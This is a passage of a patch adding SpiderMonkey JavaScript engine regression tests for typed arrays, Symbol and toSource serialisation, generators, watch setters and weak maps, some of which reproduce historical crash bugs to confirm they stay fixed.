+ assertEq(g.next(), 'hi');
+ assertEq(g.send('gurgitating...'), 'gurgitating...');
+ for (var x in g)
+ assertEq(x, 'bye');
+}
+
+// This is really a crashtest
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/extensions/symbol-uneval.js b/js/src/tests/js1_8_5/extensions/symbol-uneval.js
new file mode 100644
index 000000000..a1c2a9097
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/symbol-uneval.js
@@ -0,0 +1,13 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+assertEq(uneval(Symbol.iterator), "Symbol.iterator");
+assertEq(uneval(Symbol()), "Symbol()");
+assertEq(uneval(Symbol("")), 'Symbol("")');
+assertEq(uneval(Symbol("ponies")), 'Symbol("ponies")');
+assertEq(uneval(Symbol.for("ponies")), 'Symbol.for("ponies")');
+
+assertEq({glyph: Symbol(undefined)}.toSource(), "({glyph:Symbol()})");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/js1_8_5/extensions/toSource-0.js b/js/src/tests/js1_8_5/extensions/toSource-0.js
new file mode 100644
index 000000000..cdec97be4
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/toSource-0.js
@@ -0,0 +1,14 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(eval(uneval('\x001')), '\x001');
+
+f = eval('(' + (function () { return '\x001'; }).toString() + ')');
+assertEq(f(), '\x001');
+
+assertEq(eval('\x001'.toSource()) == '\x001', true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/extensions/typedarray-copyWithin-arguments-detaching.js b/js/src/tests/js1_8_5/extensions/typedarray-copyWithin-arguments-detaching.js
new file mode 100644
index 000000000..eb1cda6d1
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/typedarray-copyWithin-arguments-detaching.js
@@ -0,0 +1,112 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs detachArrayBuffer()
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "typedarray-copyWithin-arguments-detaching.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 991981;
+var summary =
+ "%TypedArray.prototype.copyWithin shouldn't misbehave horribly if " +
+ "index-argument conversion detaches the underlying ArrayBuffer";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function testBegin()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var begin =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ return 0x800;
+ }
+ };
+
+ var ta = new Uint8Array(ab);
+
+ var ok = false;
+ try
+ {
+ ta.copyWithin(0, begin, 0x1000);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "start weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for start weirdness");
+}
+testBegin();
+
+function testEnd()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var end =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ return 0x1000;
+ }
+ };
+
+ var ta = new Uint8Array(ab);
+
+ var ok = false;
+ try
+ {
+ ta.copyWithin(0, 0x800, end);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "start weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for start weirdness");
+}
+testEnd();
+
+function testDest()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var dest =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ return 0;
+ }
+ };
+
+ var ta = new Uint8Array(ab);
+
+ var ok = false;
+ try
+ {
+ ta.copyWithin(dest, 0x800, 0x1000);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "start weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for start weirdness");
+}
+testDest();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/js1_8_5/extensions/typedarray-set-neutering.js b/js/src/tests/js1_8_5/extensions/typedarray-set-neutering.js
new file mode 100644
index 000000000..cd902eb04
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/typedarray-set-neutering.js
@@ -0,0 +1,49 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 983344;
+var summary =
+ "Uint8Array.prototype.set issues when this array changes during setting";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var ab = new ArrayBuffer(200);
+var a = new Uint8Array(ab);
+var a_2 = new Uint8Array(10);
+
+var src = [ 10, 20, 30, 40,
+ 10, 20, 30, 40,
+ 10, 20, 30, 40,
+ 10, 20, 30, 40,
+ 10, 20, 30, 40,
+ 10, 20, 30, 40,
+ 10, 20, 30, 40,
+ 10, 20, 30, 40,
+ 10, 20, 30, 40,
+ 10, 20, 30, 40,
+ ];
+Object.defineProperty(src, 4, {
+ get: function () {
+ detachArrayBuffer(ab);
+ gc();
+ return 200;
+ }
+});
+
+a.set(src);
+
+// Not really needed
+Array.reverse(a_2);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/js1_8_5/extensions/typedarray-subarray-of-subarray.js b/js/src/tests/js1_8_5/extensions/typedarray-subarray-of-subarray.js
new file mode 100644
index 000000000..fcfb031cb
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/typedarray-subarray-of-subarray.js
@@ -0,0 +1,33 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 637643;
+var summary =
+ "new Int8Array([1, 2, 3]).subarray(1).subarray(1)[0] === 3";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var ta = new Int8Array([1, 2, 3]);
+assertEq(ta.length, 3);
+assertEq(ta[0], 1);
+assertEq(ta[1], 2);
+assertEq(ta[2], 3);
+
+var sa1 = ta.subarray(1);
+assertEq(sa1.length, 2);
+assertEq(sa1[0], 2);
+assertEq(sa1[1], 3);
+
+var sa2 = sa1.subarray(1);
+assertEq(sa2.length, 1);
+assertEq(sa2[0], 3);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/js1_8_5/extensions/typedarray.js b/js/src/tests/js1_8_5/extensions/typedarray.js
new file mode 100644
index 000000000..885f94551
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/typedarray.js
@@ -0,0 +1,648 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/* -*- Mode: js2; tab-width: 40; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Vladimir Vukicevic <vladimir@pobox.com>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 532774;
+var summary = 'js typed arrays (webgl arrays)';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ var TestPassCount = 0;
+ var TestFailCount = 0;
+ var TestTodoCount = 0;
+
+ var TODO = 1;
+
+ function check(fun, msg, todo) {
+ var thrown = null;
+ var success = false;
+ try {
+ success = fun();
+ } catch (x) {
+ thrown = x;
+ }
+
+ if (thrown)
+ success = false;
+
+ if (todo) {
+ TestTodoCount++;
+
+ if (success) {
+ var ex = new Error;
+ print ("=== TODO but PASSED? ===");
+ print (ex.stack);
+ print ("========================");
+ }
+
+ return;
+ }
+
+ if (success) {
+ TestPassCount++;
+ } else {
+ TestFailCount++;
+
+ var ex = new Error;
+ print ("=== FAILED ===");
+ if (msg)
+ print (msg);
+ print (ex.stack);
+ if (thrown) {
+ print (" threw exception:");
+ print (thrown);
+ }
+ print ("==============");
+ }
+ }
+
+ function checkThrows(fun, type, todo) {
+ var thrown = false;
+ try {
+ fun();
+ } catch (x) {
+ thrown = x;
+ }
+
+ if (typeof(type) !== 'undefined')
+ if (thrown) {
+ check(() => thrown instanceof type,
+ "expected " + type.name + " but saw " + thrown,
+ todo);
+ } else {
+ check(() => thrown, "expected " + type.name + " but no exception thrown", todo);
+ }
+ else
+ check(() => thrown, undefined, todo);
+ }
+
+ function checkThrowsTODO(fun, type) {
+ checkThrows(fun, type, true);
+ }
+
+ function testBufferManagement() {
+ // Single buffer
+ var buffer = new ArrayBuffer(128);
+ buffer = null;
+ gc();
+
+ // Buffer with single view, kill the view first
+ buffer = new ArrayBuffer(128);
+ var v1 = new Uint8Array(buffer);
+ gc();
+ v1 = null;
+ gc();
+ buffer = null;
+ gc();
+
+ // Buffer with single view, kill the buffer first
+ buffer = new ArrayBuffer(128);
+ v1 = new Uint8Array(buffer);
+ gc();
+ buffer = null;
+ gc();
+ v1 = null;
+ gc();
+
+ // Buffer with multiple views, kill first view first
+ buffer = new ArrayBuffer(128);
+ v1 = new Uint8Array(buffer);
+ v2 = new Uint8Array(buffer);
+ gc();
+ v1 = null;
+ gc();
+ v2 = null;
+ gc();
+
+ // Buffer with multiple views, kill second view first
+ buffer = new ArrayBuffer(128);
+ v1 = new Uint8Array(buffer);
+ v2 = new Uint8Array(buffer);
+ gc();
+ v2 = null;
+ gc();
+ v1 = null;
+ gc();
+
+ // Buffer with multiple views, kill all possible subsets of views
+ buffer = new ArrayBuffer(128);
+ for (let order = 0; order < 16; order++) {
+ var views = [ new Uint8Array(buffer),
+ new Uint8Array(buffer),
+ new Uint8Array(buffer),
+ new Uint8Array(buffer) ];
+ gc();
+
+ // Kill views according to the bits set in 'order'
+ for (let i = 0; i < 4; i++) {
+ if (order & (1 << i))
+ views[i] = null;
+ }
+
+ gc();
+
+ views = null;
+ gc();
+ }
+
+ // Similar: multiple views, kill them one at a time in every possible order
+ buffer = new ArrayBuffer(128);
+ for (let order = 0; order < 4*3*2*1; order++) {
+ var views = [ new Uint8Array(buffer),
+ new Uint8Array(buffer),
+ new Uint8Array(buffer),
+ new Uint8Array(buffer) ];
+ gc();
+
+ var sequence = [ 0, 1, 2, 3 ];
+ let groupsize = 4*3*2*1;
+ let o = order;
+ for (let i = 4; i > 0; i--) {
+ groupsize = groupsize / i;
+ let which = Math.floor(o/groupsize);
+ [ sequence[i-1], sequence[which] ] = [ sequence[which], sequence[i-1] ];
+ o = o % groupsize;
+ }
+
+ for (let i = 0; i < 4; i++) {
+ views[i] = null;
+ gc();
+ }
+ }
+
+ // Multiple buffers with multiple views
+ var views = [];
+ for (let numViews of [ 1, 2, 0, 3, 2, 1 ]) {
+ buffer = new ArrayBuffer(128);
+ for (let viewNum = 0; viewNum < numViews; viewNum++) {
+ views.push(new Int8Array(buffer));
+ }
+ }
+
+ gcparam('markStackLimit', 200);
+ var forceOverflow = [ buffer ];
+ for (let i = 0; i < 1000; i++) {
+ forceOverflow = [ forceOverflow ];
+ }
+ gc();
+ buffer = null;
+ views = null;
+ gcslice(3); gcslice(3); gcslice(3); gcslice(3); gcslice(3); gcslice(3); gc();
+ }
+
+ var buf, buf2;
+
+ buf = new ArrayBuffer(100);
+ check(() => buf);
+ check(() => buf.byteLength == 100);
+
+ buf.byteLength = 50;
+ check(() => buf.byteLength == 100);
+
+ var zerobuf = new ArrayBuffer(0);
+ check(() => zerobuf);
+ check(() => zerobuf.byteLength == 0);
+
+ check(() => (new Int32Array(zerobuf)).length == 0);
+ checkThrows(() => new Int32Array(zerobuf, 1));
+
+ var zerobuf2 = new ArrayBuffer();
+ check(() => zerobuf2.byteLength == 0);
+
+ checkThrows(() => new ArrayBuffer(-100), RangeError);
+ // this is using js_ValueToECMAUInt32, which is giving 0 for "abc"
+ checkThrowsTODO(() => new ArrayBuffer("abc"), TypeError);
+
+ var zeroarray = new Int32Array(0);
+ check(() => zeroarray.length == 0);
+ check(() => zeroarray.byteLength == 0);
+ check(() => zeroarray.buffer);
+ check(() => zeroarray.buffer.byteLength == 0);
+
+ var zeroarray2 = new Int32Array();
+ check(() => zeroarray2.length == 0);
+ check(() => zeroarray2.byteLength == 0);
+ check(() => zeroarray2.buffer);
+ check(() => zeroarray2.buffer.byteLength == 0);
+
+ var a = new Int32Array(20);
+ check(() => a);
+ check(() => a.length == 20);
+ check(() => a.byteLength == 80);
+ check(() => a.byteOffset == 0);
+ check(() => a.buffer);
+ check(() => a.buffer.byteLength == 80);
+
+ var b = new Uint8Array(a.buffer, 4, 4);
+ check(() => b);
+ check(() => b.length == 4);
+ check(() => b.byteLength == 4);
+ check(() => a.buffer == b.buffer);
+
+ b[0] = 0xaa;
+ b[1] = 0xbb;
+ b[2] = 0xcc;
+ b[3] = 0xdd;
+
+ check(() => a[0] == 0);
+ check(() => a[1] != 0);
+ check(() => a[2] == 0);
+
+ buf = new ArrayBuffer(4);
+ check(() => (new Int8Array(buf)).length == 4);
+ check(() => (new Uint8Array(buf)).length == 4);
+ check(() => (new Int16Array(buf)).length == 2);
+ check(() => (new Uint16Array(buf)).length == 2);
+ check(() => (new Int32Array(buf)).length == 1);
+ check(() => (new Uint32Array(buf)).length == 1);
+ check(() => (new Float32Array(buf)).length == 1);
+ checkThrows(() => (new Float64Array(buf)));
+ buf2 = new ArrayBuffer(8);
+ check(() => (new Float64Array(buf2)).length == 1);
+
+ buf = new ArrayBuffer(5);
+ check(() => buf);
+ check(() => buf.byteLength == 5);
+
+ check(() => new Int32Array(buf, 0, 1));
+ checkThrows(() => new Int32Array(buf, 0));
+ check(() => new Int8Array(buf, 0));
+
+ check(() => (new Int8Array(buf, 3)).byteLength == 2);
+ checkThrows(() => new Int8Array(buf, 500));
+ checkThrows(() => new Int8Array(buf, 0, 50));
+ checkThrows(() => new Float32Array(buf, 500));
+ checkThrows(() => new Float32Array(buf, 0, 50));
+
+ var sl = a.subarray(5,10);
+ check(() => sl.length == 5);
+ check(() => sl.buffer == a.buffer);
+ check(() => sl.byteLength == 20);
+ check(() => sl.byteOffset == 20);
+
+ check(() => a.subarray(5,5).length == 0);
+ check(() => a.subarray(-5).length == 5);
+ check(() => a.subarray(-100).length == 20);
+ check(() => a.subarray(0, 2).length == 2);
+ check(() => a.subarray().length == a.length);
+ check(() => a.subarray(-7,-5).length == 2);
+ check(() => a.subarray(-5,-7).length == 0);
+ check(() => a.subarray(15).length == 5);
+
+ a = new Uint8Array([0xaa, 0xbb, 0xcc]);
+ check(() => a.length == 3);
+ check(() => a.byteLength == 3);
+ check(() => a[1] == 0xbb);
+
+ // not sure if this is supposed to throw or to treat "foo"" as 0.
+ checkThrowsTODO(() => new Int32Array([0xaa, "foo", 0xbb]), Error);
+
+ checkThrows(() => new Int32Array(-100));
+
+ a = new Uint8Array(3);
+ // XXX these are ignored now and return undefined
+ //checkThrows(() => a[5000] = 0, RangeError);
+ //checkThrows(() => a["hello"] = 0, TypeError);
+ //checkThrows(() => a[-10] = 0, RangeError);
+ check(() => (a[0] = "10") && (a[0] == 10));
+
+ // check Uint8ClampedArray, which is an extension to this extension
+ a = new Uint8ClampedArray(4);
+ a[0] = 128;
+ a[1] = 512;
+ a[2] = -123.723;
+ a[3] = "foopy";
+
+ check(() => a[0] == 128);
+ check(() => a[1] == 255);
+ check(() => a[2] == 0);
+ check(() => a[3] == 0);
+
+ // check handling of holes and non-numeric values
+ var x = Array(5);
+ x[0] = "hello";
+ x[1] = { };
+ //x[2] is a hole
+ x[3] = undefined;
+ x[4] = true;
+
+ a = new Uint8Array(x);
+ check(() => a[0] == 0);
+ check(() => a[1] == 0);
+ check(() => a[2] == 0);
+ check(() => a[3] == 0);
+ check(() => a[4] == 1);
+
+ a = new Float32Array(x);
+ check(() => !(a[0] == a[0]));
+ check(() => !(a[1] == a[1]));
+ check(() => !(a[2] == a[2]));
+ check(() => !(a[3] == a[3]));
+ check(() => a[4] == 1);
+
+ // test set()
+ var empty = new Int32Array(0);
+ a = new Int32Array(9);
+
+ empty.set([]);
+ empty.set([], 0);
+ empty.set(empty);
+
+ checkThrows(() => empty.set([1]));
+ checkThrows(() => empty.set([1], 0));
+ checkThrows(() => empty.set([1], 1));
+
+ a.set([]);
+ a.set([], 3);
+ a.set([], 9);
+ a.set(a);
+
+ a.set(empty);
+ a.set(empty, 3);
+ a.set(empty, 9);
+ a.set(Array.prototype);
+ checkThrows(() => a.set(empty, 100));
+
+ checkThrows(() => a.set([1,2,3,4,5,6,7,8,9,10]));
+ checkThrows(() => a.set([1,2,3,4,5,6,7,8,9,10], 0));
+ checkThrows(() => a.set([1,2,3,4,5,6,7,8,9,10], 0x7fffffff));
+ checkThrows(() => a.set([1,2,3,4,5,6,7,8,9,10], 0xffffffff));
+ checkThrows(() => a.set([1,2,3,4,5,6], 6));
+
+ checkThrows(() => a.set(new Array(0x7fffffff)));
+ checkThrows(() => a.set([1,2,3], 2147483647));
+
+ a.set(ArrayBuffer.prototype);
+ checkThrows(() => a.set(Int16Array.prototype), TypeError);
+ checkThrows(() => a.set(Int32Array.prototype), TypeError);
+
+ a.set([1,2,3]);
+ a.set([4,5,6], 3);
+ check(() =>
+ a[0] == 1 && a[1] == 2 && a[2] == 3 &&
+ a[3] == 4 && a[4] == 5 && a[5] == 6 &&
+ a[6] == 0 && a[7] == 0 && a[8] == 0);
+
+ b = new Float32Array([7,8,9]);
+ a.set(b, 0);
+ a.set(b, 3);
+ check(() =>
+ a[0] == 7 && a[1] == 8 && a[2] == 9 &&
+ a[3] == 7 && a[4] == 8 && a[5] == 9 &&
+ a[6] == 0 && a[7] == 0 && a[8] == 0);
+ a.set(a.subarray(0,3), 6);
+ check(() =>
+ a[0] == 7 && a[1] == 8 && a[2] == 9 &&
+ a[3] == 7 && a[4] == 8 && a[5] == 9 &&
+ a[6] == 7 && a[7] == 8 && a[8] == 9);
+
+ a.set([1,2,3,4,5,6,7,8,9]);
+ a.set(a.subarray(0,6), 3);
+ check(() =>
+ a[0] == 1 && a[1] == 2 && a[2] == 3 &&
+ a[3] == 1 && a[4] == 2 && a[5] == 3 &&
+ a[6] == 4 && a[7] == 5 && a[8] == 6);
+
+ a.set(a.subarray(3,9), 0);
+ check(() =>
+ a[0] == 1 && a[1] == 2 && a[2] == 3 &&
+ a[3] == 4 && a[4] == 5 && a[5] == 6 &&
+ a[6] == 4 && a[7] == 5 && a[8] == 6);
+
+ // verify that subarray() returns a new view that
+ // references the same buffer
+ a.subarray(0,3).set(a.subarray(3,6), 0);
+ check(() =>
+ a[0] == 4 && a[1] == 5 && a[2] == 6 &&
+ a[3] == 4 && a[4] == 5 && a[5] == 6 &&
+ a[6] == 4 && a[7] == 5 && a[8] == 6);
+
+ a = new ArrayBuffer(0x10);
+ checkThrows(() => new Uint32Array(buffer, 4, 0x3FFFFFFF));
+
+ checkThrows(() => new Float32Array(null));
+
+ a = new Uint8Array(0x100);
+ b = Uint32Array.prototype.subarray.apply(a, [0, 0x100]);
+ check(() => Object.prototype.toString.call(b) === "[object Uint8Array]");
+ check(() => b.buffer === a.buffer);
+ check(() => b.length === a.length);
+ check(() => b.byteLength === a.byteLength);
+ check(() => b.byteOffset === a.byteOffset);
+ check(() => b.BYTES_PER_ELEMENT === a.BYTES_PER_ELEMENT);
+
+ // webidl section 4.4.6, getter bullet point 2.2: prototypes are not
+ // platform objects, and calling the getter of any attribute defined on the
+ // interface should throw a TypeError according to
+ checkThrows(() => ArrayBuffer.prototype.byteLength, TypeError);
+ checkThrows(() => Int32Array.prototype.length, TypeError);
+ checkThrows(() => Int32Array.prototype.byteLength, TypeError);
+ checkThrows(() => Int32Array.prototype.byteOffset, TypeError);
+ checkThrows(() => Float64Array.prototype.length, TypeError);
+ checkThrows(() => Float64Array.prototype.byteLength, TypeError);
+ checkThrows(() => Float64Array.prototype.byteOffset, TypeError);
+
+ // webidl 4.4.6: a readonly attribute's setter is undefined. From
+ // observation, that seems to mean it silently does nothing, and returns
+ // the value that you tried to set it to.
+ check(() => Int32Array.prototype.length = true);
+ check(() => Float64Array.prototype.length = true);
+ check(() => Int32Array.prototype.byteLength = true);
+ check(() => Float64Array.prototype.byteLength = true);
+ check(() => Int32Array.prototype.byteOffset = true);
+ check(() => Float64Array.prototype.byteOffset = true);
+
+ // ArrayBuffer, Int32Array and Float64Array are native functions and have a
+ // .length, so none of these should throw:
+ check(() => (new Int32Array(ArrayBuffer)).length >= 0);
+ check(() => (new Int32Array(Int32Array)).length >= 0);
+ check(() => (new Int32Array(Float64Array)).length >= 0);
+
+ // webidl 4.4.6, under getters: "The value of the Function object’s
+ // 'length' property is the Number value 0"
+ //
+ // Except this fails in getOwnPropertyDescriptor, I think because
+ // Int32Array.prototype does not provide a lookup hook, and the fallback
+ // case ends up calling the getter. Which seems odd to me, but much of this
+ // stuff baffles me. It does seem strange that there's no way to do
+ // getOwnPropertyDescriptor on any of these attributes.
+ //
+ //check(Object.getOwnPropertyDescriptor(Int32Array.prototype, 'byteOffset')['get'].length == 0);
+
+ check(() => Int32Array.BYTES_PER_ELEMENT == 4);
+ check(() => (new Int32Array(4)).BYTES_PER_ELEMENT == 4);
+ check(() => (new Int32Array()).BYTES_PER_ELEMENT == 4);
+ check(() => (new Int32Array(0)).BYTES_PER_ELEMENT == 4);
+ check(() => Int16Array.BYTES_PER_ELEMENT == Uint16Array.BYTES_PER_ELEMENT);
+
+ // test various types of args; Math.sqrt(4) is used to ensure that the
+ // function gets a double, and not a demoted int
+ check(() => (new Float32Array(Math.sqrt(4))).length == 2);
+ check(() => (new Float32Array({ length: 10 })).length == 10);
+ check(() => (new Float32Array({})).length == 0);
+ checkThrows(() => new Float32Array("3"));
+ checkThrows(() => new Float32Array(null));
+ checkThrows(() => new Float32Array(undefined));
+
+ // check that NaN conversions happen correctly with array conversions
+ check(() => (new Int32Array([NaN])[0]) == 0);
+ check(() => { var q = new Float32Array([NaN])[0]; return q != q; });
+
+ // check that setting and reading arbitrary properties works
+ // this is not something that will be done in real world
+ // situations, but it should work when done just like in
+ // regular objects
+ buf = new ArrayBuffer(128);
+ a = new Uint32Array(buf, 0, 4);
+ check(() => a[0] == 0 && a[1] == 0 && a[2] == 0 && a[3] == 0);
+ buf.a = 42;
+ buf.b = "abcdefgh";
+ buf.c = {a:'literal'};
+ check(() => a[0] == 0 && a[1] == 0 && a[2] == 0 && a[3] == 0);
+
+ check(() => buf.a == 42);
+ delete buf.a;
+ check(() => !buf.a);
+
+ // check edge cases for small arrays
+ // 16 reserved slots
+ a = new Uint8Array(120);
+ check(() => a.byteLength == 120);
+ check(() => a.length == 120);
+ for (var i = 0; i < a.length; i++)
+ check(() => a[i] == 0)
+
+ a = new Uint8Array(121);
+ check(() => a.byteLength == 121);
+ check(() => a.length == 121);
+ for (var i = 0; i < a.length; i++)
+ check(() => a[i] == 0)
+
+ // check that TM generated byte offset is right (requires run with -j)
+ a = new Uint8Array(100);
+ a[99] = 5;
+ b = new Uint8Array(a.buffer, 9); // force a offset
+ // use a loop to invoke the TM
+ for (var i = 0; i < b.length; i++)
+ check(() => b[90] == 5)
+
+ // Protos and proxies, oh my!
+ var alien = newGlobal();
+
+ var alien_view = alien.eval('view = new Uint8Array(7)');
+ var alien_buffer = alien.eval('buffer = view.buffer');
+
+ // when creating a view of a buffer in a different compartment, the view
+ // itself should be created in the other compartment and wrapped for use in
+ // this compartment. (There should never be a compartment boundary between
+ // an ArrayBufferView and its ArrayBuffer.)
+ var view = new Int8Array(alien_buffer);
+
+ // First make sure they're looking at the same data
+ alien_view[3] = 77;
+ check(() => view[3] == 77);
+
+ // Now check that the proxy setup is as expected
+ check(() => isProxy(alien_view));
+ check(() => isProxy(alien_buffer));
+ check(() => isProxy(view)); // the real test
+
+ // cross-compartment property access
+ check(() => alien_buffer.byteLength == 7);
+ check(() => alien_view.byteLength == 7);
+ check(() => view.byteLength == 7);
+
+ // typed array protos should be equal
+ simple = new Int8Array(12);
+ check(() => Object.getPrototypeOf(view) == Object.getPrototypeOf(simple));
+ check(() => Object.getPrototypeOf(view) == Int8Array.prototype);
+
+ // Most named properties are defined on %TypedArray%.prototype.
+ check(() => !simple.hasOwnProperty('byteLength'));
+ check(() => !Int8Array.prototype.hasOwnProperty('byteLength'));
+ check(() => Object.getPrototypeOf(Int8Array.prototype).hasOwnProperty('byteLength'));
+
+ check(() => !simple.hasOwnProperty("BYTES_PER_ELEMENT"));
+ check(() => Int8Array.prototype.hasOwnProperty("BYTES_PER_ELEMENT"));
+ check(() => !Object.getPrototypeOf(Int8Array.prototype).hasOwnProperty("BYTES_PER_ELEMENT"));
+
+ // crazy as it sounds, the named properties are configurable per WebIDL.
+ // But we are currently discussing the situation, and typed arrays may be
+ // pulled into the ES spec, so for now this is disallowed.
+ if (false) {
+ check(() => simple.byteLength == 12);
+ getter = Object.getOwnPropertyDescriptor(Int8Array.prototype, 'byteLength').get;
+ Object.defineProperty(Int8Array.prototype, 'byteLength', { get: function () { return 1 + getter.apply(this) } });
+ check(() => simple.byteLength == 13);
+ }
+
+ // test copyWithin()
+ var numbers = [ 0, 1, 2, 3, 4, 5, 6, 7, 8 ];
+
+ function tastring(tarray) {
+ return [...tarray].toString();
+ }
+
+ function checkCopyWithin(offset, start, end, dest, want) {
+ var numbers_buffer = new Uint8Array(numbers).buffer;
+ var view = new Int8Array(numbers_buffer, offset);
+ view.copyWithin(dest, start, end);
+ check(() => tastring(view) == want.toString());
+ if (tastring(view) != want.toString()) {
+ print("Wanted: " + want.toString());
+ print("Got : " + tastring(view));
+ }
+ }
+
+ // basic copyWithin [2,5) -> 4
+ checkCopyWithin(0, 2, 5, 4, [ 0, 1, 2, 3, 2, 3, 4, 7, 8 ]);
+
+ // negative values should count from end
+ checkCopyWithin(0, -7, 5, 4, [ 0, 1, 2, 3, 2, 3, 4, 7, 8 ]);
+ checkCopyWithin(0, 2, -4, 4, [ 0, 1, 2, 3, 2, 3, 4, 7, 8 ]);
+ checkCopyWithin(0, 2, 5, -5, [ 0, 1, 2, 3, 2, 3, 4, 7, 8 ]);
+ checkCopyWithin(0, -7, -4, -5, [ 0, 1, 2, 3, 2, 3, 4, 7, 8 ]);
+
+ // offset
+ checkCopyWithin(2, 0, 3, 4, [ 2, 3, 4, 5, 2, 3, 4 ]);
+
+ // clipping
+ checkCopyWithin(0, 5000, 6000, 0, [ 0, 1, 2, 3, 4, 5, 6, 7, 8 ]);
+ checkCopyWithin(0, -5000, -6000, 0, [ 0, 1, 2, 3, 4, 5, 6, 7, 8 ]);
+ checkCopyWithin(0, -5000, 6000, 0, [ 0, 1, 2, 3, 4, 5, 6, 7, 8 ]);
+ checkCopyWithin(0, 5000, 6000, 1, [ 0, 1, 2, 3, 4, 5, 6, 7, 8 ]);
+ checkCopyWithin(0, -5000, -6000, 1, [ 0, 1, 2, 3, 4, 5, 6, 7, 8 ]);
+ checkCopyWithin(0, 5000, 6000, 0, [ 0, 1, 2, 3, 4, 5, 6, 7, 8 ]);
+ checkCopyWithin(2, -5000, -6000, 0, [ 2, 3, 4, 5, 6, 7, 8 ]);
+ checkCopyWithin(2, -5000, 6000, 0, [ 2, 3, 4, 5, 6, 7, 8 ]);
+ checkCopyWithin(2, 5000, 6000, 1, [ 2, 3, 4, 5, 6, 7, 8 ]);
+ checkCopyWithin(2, -5000, -6000, 1, [ 2, 3, 4, 5, 6, 7, 8 ]);
+
+ checkCopyWithin(2, -5000, 3, 1, [ 2, 2, 3, 4, 6, 7, 8 ]);
+ checkCopyWithin(2, 1, 6000, 0, [ 3, 4, 5, 6, 7, 8, 8 ]);
+ checkCopyWithin(2, 1, 6000, -4000, [ 3, 4, 5, 6, 7, 8, 8 ]);
+
+ testBufferManagement();
+
+ print ("done");
+
+ reportCompare(0, TestFailCount, "typed array tests");
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_5/extensions/watch-undefined-setter.js b/js/src/tests/js1_8_5/extensions/watch-undefined-setter.js
new file mode 100644
index 000000000..92608de0e
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/watch-undefined-setter.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Gary Kwong
+ */
+
+var gTestfile = 'watch-undefined-setter.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 560277;
+var summary =
+ 'Crash [@ JSObject::getParent] or [@ js_WrapWatchedSetter] or ' +
+ '[@ js_GetClassPrototype]';
+
+this.watch("x", function() { });
+Object.defineProperty(this, "x", { set: undefined, configurable: true });
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/extensions/weakmap.js b/js/src/tests/js1_8_5/extensions/weakmap.js
new file mode 100644
index 000000000..cad3d23e1
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/weakmap.js
@@ -0,0 +1,124 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Andreas Gal <gal@mozilla.com>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 547941;
+var summary = 'js weak maps';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
